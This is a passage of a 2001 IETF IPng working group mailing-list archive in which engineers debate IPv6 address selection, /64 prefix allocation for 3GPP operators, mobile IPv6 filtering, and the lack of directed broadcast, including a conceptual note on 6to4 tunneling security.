sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIZ9vU012403 for ; Mon, 10 Dec 2001 10:35:09 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAIZ9au012402 for ipng-dist; Mon, 10 Dec 2001 10:35:09 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIZ5vU012395 for ; Mon, 10 Dec 2001 10:35:05 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA09958 for ; Mon, 10 Dec 2001 10:35:06 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA10989 for ; Mon, 10 Dec 2001 11:35:05 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id TAA12022 for ; Mon, 10 Dec 2001 19:35:03 +0100 Received: from gsine06.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA46972 from ; Mon, 10 Dec 2001 19:35:02 +0100 Message-Id: <3C15004C.D765DD73@hursley.ibm.com> Date: Mon, 10 Dec 2001 19:34:52 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: "Default Address Selection for IPv6" References: <7695E2F6903F7A41961F8CF888D87EA80355FE84@red-msg-06.redmond.corp.microsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk JINMEI Tatuya / $B?@L@C#:H(B wrote: ... > 1. remove the longest matching rule in the destination address > ordering, or > 2. leave the document as is > I am against choice 1. The longest match rule originally came in via an early 6to4 draft - it is still useful in the case where both 6to4 and native addresses are present, I think. I think the document isn't broken and doesn't need fixing. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:47:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIlWvU012566 for ; Mon, 10 Dec 2001 10:47:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAIlW9Q012565 for ipng-dist; Mon, 10 Dec 2001 10:47:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIlSvU012558 for ; Mon, 10 Dec 2001 10:47:29 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA14809 for ; Mon, 10 Dec 2001 10:47:31 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA19056 for ; Mon, 10 Dec 2001 10:47:30 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id TAA05108; Mon, 10 Dec 2001 19:47:28 +0100 Received: from gsine06.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA31916 from ; Mon, 10 Dec 2001 19:47:21 +0100 Message-Id: <3C150335.77CA4D58@hursley.ibm.com> Date: Mon, 10 Dec 2001 19:47:17 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Juan-Antonio Ibanez Cc: ipng@sunroof.eng.sun.com Subject: Re: Feedback from 3GPP about draft-wasserman References: <3C0FC2B3.7D3EC831@eed.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Juan-Antonio Ibanez wrote: ... > 2) Would the /64 prefix allocation preclude the use of the 6to4 > transition mechanism in 3GPP? > 6to4 relies on a /48 prefix, meaning that only 64k mobile nodes (or > rather "primary" PDP contexts) would be allowed on a given APN that > supports 6to4. Are you assuming that the APN has exactly one globally routable IPv4 address? If so, it can only own one 6to4 /48 prefix, i.e. 64k /64s as you say. But if the APN has 2 IPv4 addresses, it can have two 6to4 prefixes, etc. What is the realistic requirement for the number of primary PDP contexts per APN? Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 12:01:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAK17vU013491 for ; Mon, 10 Dec 2001 12:01:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAK17jo013490 for ipng-dist; Mon, 10 Dec 2001 12:01:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAK14vU013483 for ; Mon, 10 Dec 2001 12:01:04 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA14228 for ; Mon, 10 Dec 2001 12:01:05 -0800 (PST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA10598 for ; Mon, 10 Dec 2001 13:01:04 -0700 (MST) Received: from eed.ericsson.se (mailhost.eed.ericsson.se [164.48.133.33]) by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fBAK13K08588; Mon, 10 Dec 2001 21:01:03 +0100 (MET) Received: from eed.ericsson.se (arka04m09.sw.ericsson.se [136.225.183.74]) by eed.ericsson.se (8.8.8+Sun/1.2.mit) with ESMTP id VAA20753; Mon, 10 Dec 2001 21:01:01 +0100 (MET) Message-ID: <3C15147A.78A5EC44@eed.ericsson.se> Date: Mon, 10 Dec 2001 21:00:58 +0100 From: Juan-Antonio Ibanez X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Thomas Narten CC: ipng@sunroof.eng.sun.com Subject: Re: Feedback from 3GPP about draft-wasserman References: <200112071734.fB7HYmp02398@rotala.raleigh.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Thomas, Actually there are two reasons behind this comment. One is that the draft provides some argumentation on why allocating /64 prefixes is not a risk for the address space and that's fine, but another question that I hear quite often is whether Internet registries will accept to give out huge blocks of addresses to each and every cellular operator. Therefore some hints that this is not an issue either would be valuable. The other reason is that no action will be undertaken by 3GPP to ensure appropriate allocation policies until the /64 allocation principle is formally approved by 3GPP, but the decision to approve it or not will only be taken once the draft has become a WG document and the discussions will then mostly be based on this draft. Therefore, to reassure those who are afraid that 3G operators might have difficulties getting the necessary address space, some pointers to documents like e.g. RFC 3177 would be helpful when we come to deciding on this matter in 3GPP. Perhaps the comment was not so clear in that it is not really "how" an operator can request address space which matters here, but rather "what kind of" address blocks an operator will need and highlight that it won't be a problem to get it. BR, Juan Thomas Narten wrote: > > > General comments: > > ---------------- > > > 1) It would be useful to include some description/guidelines about how > > IPv6 address blocks should be allocated to 3G mobile operators (i.e. > > what size, possibility to get additional address blocks if needed and > > how, etc.), in particular considering that in some countries operators > > with more than 100 millions subscribers, possibly using multiple > > "primary" PDP contexts, are foreseeable. > > It is probably not IPng's task to define these policies, however some > > hints or references to other RFCs might reveal useful for telecom > > operators that do not necessarily read all these RFCs. > > My initial reaction is that this may well not be this WG's job. Could > you clarify a bit in terms of what you want advice on? > > Note that you should in any case be also having discussions with the > appropriate Regional Internet Registries (RIRs) (i.e., ARIN, APNIC, or > RIPE). They may well be able to give you the info you are looking for > as they have policies in place that describe the procedures for > obtaining IPv6 address space. Consult their web pages for more info > and specifics. > > Finally, note that the RIR IPv6 policy is currently under revision, so > now would be a particularly good time to discuss with the RIRs any > issues you might have, in case they need to be considered in the > updated IPv6 policy. > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 12:03:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAK3lvU013508 for ; Mon, 10 Dec 2001 12:03:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAK3lRM013507 for ipng-dist; Mon, 10 Dec 2001 12:03:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAK3hvU013500 for ; Mon, 10 Dec 2001 12:03:43 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA26760 for ; Mon, 10 Dec 2001 12:03:45 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA03032 for ; Mon, 10 Dec 2001 12:03:44 -0800 (PST) Received: from localhost ([3ffe:507:1ff:2:1569:5a93:a327:c06c]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBAK3b384879; Tue, 11 Dec 2001 05:03:38 +0900 (JST) Date: Tue, 11 Dec 2001 05:03:36 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Richard Draves" Cc: Subject: Re: "Default Address Selection for IPv6" In-Reply-To: <7695E2F6903F7A41961F8CF888D87EA80355FE86@red-msg-06.redmond.corp.microsoft.com> References: <7695E2F6903F7A41961F8CF888D87EA80355FE86@red-msg-06.redmond.corp.microsoft.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 31 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Sun, 9 Dec 2001 21:17:28 -0800, >>>>> "Richard Draves" said: >> - The longest matching algorithm is not so meaningful in the >> destination address ordering. > Well, I think it is quite meaningful. It can certainly go awry (per > your earlier example), but I think more commonly it will be > helpful. For example, if node A is part of a multihomed site and so > has two global address P::a and Q::a (from ISP's P and Q) and node B > is connected via ISP P and so has the global address P::b, then when > node B connects to node A the longest-matching prefix heuristic in > the destination address ordering will cause node B to first try P::a > and then Q::a. Ah, yes, you're right. I just missed the symmetric story of the source address selection among multiple candidates. So, IMO, the point is do we need the explicit longest matching while the generic policy table can do this and the effective prefix length can vary even today? I myself do not have a strong opinion on this, but if I need to vote, I'll be for leaving the current spec. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 13:08:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAL8evU014036 for ; Mon, 10 Dec 2001 13:08:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAL8eGS014035 for ipng-dist; Mon, 10 Dec 2001 13:08:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAL8bvU014025 for ; Mon, 10 Dec 2001 13:08:37 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA10823; Mon, 10 Dec 2001 13:08:38 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10757; Mon, 10 Dec 2001 14:08:19 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBAL8YI32755; Mon, 10 Dec 2001 22:08:34 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id WAA20191; Mon, 10 Dec 2001 22:08:35 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBAL8ZD18505; Mon, 10 Dec 2001 22:08:35 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112102108.fBAL8ZD18505@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Erik Nordmark cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Sun, 09 Dec 2001 00:44:48 +0100. Date: Mon, 10 Dec 2001 22:08:35 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: While such a check is reasonable for a host, a firewall can't actually check this since it doesn't know the relationship between Care of Addresses and Home Addresses. => I disagree: the firewall doesn't know only if nobody sends the information to it. If mobile nodes inside the domain the firewall manages send (using the network access control for instance) this kind of information to the firewall it should be able to do smart ingress filtering for packets with home address option (i.e. solve the ingress filtering fouled by home address options by a better ingress filtering) and (symmetrically) be able to filter out rogue source routing. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 13:18:00 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALHxvU014148 for ; Mon, 10 Dec 2001 13:17:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBALHxSZ014147 for ipng-dist; Mon, 10 Dec 2001 13:17:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALHtvU014132 for ; Mon, 10 Dec 2001 13:17:55 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA12797 for ; Mon, 10 Dec 2001 13:17:49 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA15137 for ; Mon, 10 Dec 2001 14:18:26 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBALHgw00522; Mon, 10 Dec 2001 23:17:42 +0200 Date: Mon, 10 Dec 2001 23:17:42 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: Erik Nordmark , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <200112102108.fBAL8ZD18505@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Mon, 10 Dec 2001, Francis Dupont wrote: > In your previous mail you wrote: > > While such a check is reasonable for a host, a firewall can't actually > check this since it doesn't know the relationship between Care of Addresses > and Home Addresses. > > => I disagree: the firewall doesn't know only if nobody sends the > information to it. If mobile nodes inside the domain the firewall > manages send (using the network access control for instance) this > kind of information to the firewall it should be able to do > smart ingress filtering for packets with home address option > (i.e. solve the ingress filtering fouled by home address options > by a better ingress filtering) and (symmetrically) be able to > filter out rogue source routing. Firewall cannot know this without keeping state, as discussed in my draft (and with you :-). IMO, I greatly dislike stateful firewalls. They're one of the breakers of e2e. I don't think we should require stateful firewalls for this. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 13:19:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALJcvU014195 for ; Mon, 10 Dec 2001 13:19:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBALJcds014194 for ipng-dist; Mon, 10 Dec 2001 13:19:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALJYvU014187 for ; Mon, 10 Dec 2001 13:19:35 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA13300 for ; Mon, 10 Dec 2001 13:19:37 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA06795 for ; Mon, 10 Dec 2001 13:19:32 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Mon, 10 Dec 2001 13:19:27 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id CC9B42C7B1A14E2E8A53CD709864AB9E for plus 1 more; Mon, 10 Dec 2001 13:19:27 -0800 From: "Tony Hain" To: "Sreeram Vankadari" , Subject: RE: Directed broadcast in IPv6 Date: Mon, 10 Dec 2001 13:18:54 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <3C1123F4.26371FBF@cisco.com> X-SLUIDL: B24E8418-962D4799-9D6BAA45-EE5583E9 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk For starters your assumption that you can reach all nodes on a remote link is broken, because you can't know the subnet mask, therefore the appropriate directed broadcast. The short answer to your question though is that the broadcast capability was explicitly removed from IPv6, so you can't. Tony > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Sreeram Vankadari > Sent: Friday, December 07, 2001 12:18 PM > To: ipng@sunroof.eng.sun.com > Subject: Directed broadcast in IPv6 > > > Hi, > > In IPv4 we use directed broadcast address to send packets to > all the nodes of a > remote network. Since there are no broadcast addresses in IPv6, > how is ths problem solved in IPv6(reaching all nodes of > remote network) > As far as I know the only address that can be used to reach > all the nodes > of a link is FF02::1, but this cann't be used by the remote > router as the scope > of this address is just the link. > > Sreeram > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 13:21:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALL0vU014252 for ; Mon, 10 Dec 2001 13:21:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBALL0sJ014251 for ipng-dist; Mon, 10 Dec 2001 13:21:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALKuvU014244 for ; Mon, 10 Dec 2001 13:20:56 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA22061 for ; Mon, 10 Dec 2001 13:20:54 -0800 (PST) Received: from ws2.piuha.net (ws2.piuha.net [195.165.196.2]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA19694 for ; Mon, 10 Dec 2001 14:20:35 -0700 (MST) Received: from piuha.net (ws4.piuha.net [195.165.196.4]) by ws2.piuha.net (Postfix) with ESMTP id EFCCA6A904; Mon, 10 Dec 2001 23:20:31 +0200 (EET) Message-ID: <3C152533.7020702@kolumbus.fi> Date: Mon, 10 Dec 2001 23:12:19 +0200 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014 X-Accept-Language: en-us MIME-Version: 1.0 To: "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm <3C14F633.BE39D4B5@iprg.nokia.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari T. Malinen wrote: >>I'm afraid Mike's right here. Of course the weak authentication >>can be rerun, but before it is rerun, many packets have gone >>to /dev/null because the MN kept sending route optimized stuff >>with HAOs, and the CN through them away because of the security >>issue. > > Ah, let me clarify. Currently the way you describe of implementing > MN is allowed because HAOs in the MIPv6 draft itself are not required > to be protected. Here the question is what if we _did_ have the fix > of always protecting the HAO, and with weak authentication. > > I was thinking the other way to implement MN, to send a CN BU in > good time before lifetime expires (soft timeout before hard one), > even without receiving a BR. Once actual lifetime of BU in BUL is > expired (hard timeout), MN knows it needs to re-start. Hence it > also can know not to send those HAOs. I am not sure how hard state > this is, the credentials would expire by hard timeout after communication > is terminated. For robustness, there is BR, losing a BU would not > break it since CN would send BR before hard timeout in CN side. Ok. This sounds possible. But at least we need to add rules somewhere that this needs to be done. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 13:38:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALcKvU014632 for ; Mon, 10 Dec 2001 13:38:20 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBALcKoO014631 for ipng-dist; Mon, 10 Dec 2001 13:38:20 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALcEvU014616; Mon, 10 Dec 2001 13:38:14 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA17753; Mon, 10 Dec 2001 13:38:16 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA12762; Mon, 10 Dec 2001 14:38:15 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBALbtU00721; Mon, 10 Dec 2001 23:37:58 +0200 Date: Mon, 10 Dec 2001 23:37:55 +0200 (EET) From: Pekka Savola To: Tony Hain cc: Sreeram Vankadari , , Subject: RE: Directed broadcast in IPv6 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk (added ngtrans@) On Mon, 10 Dec 2001, Tony Hain wrote: > For starters your assumption that you can reach all nodes on a remote > link is broken, because you can't know the subnet mask, therefore the > appropriate directed broadcast. The short answer to your question though > is that the broadcast capability was explicitly removed from IPv6, so > you can't. However, there are potentially issues with transition mechanisms, especially those using some form of automatic tunneling (which is one reason why this, automatic bridging systems etc. may get to be a headache). Suppose IPv4/6 router is also a 6to4 router for a subnet, so it must accept IPv6-in-IPv4 packets from everywhere. Suppose someone sends in a packet with: src=1.2.3.4 dst= protocol=41 src6=fec0::1 (or 3ffe:ffff::1 or whatever) dst6=ff05::1 (or ff02::1 or whatever) ... With varying levels of different src6/dst6 values. It's possible that implementations use a "same-zone" check with non-global addresses, but this may or may not be the case. This is especially nasty if hosts would listen to ff0e::1 (global all-hosts) address (even though it would not be globally routable); there would not be such restrictions on same zone. The issues with automatic tunneling are discussed a little bit in: http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt (by the way, comments would be welcome ;-) -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: 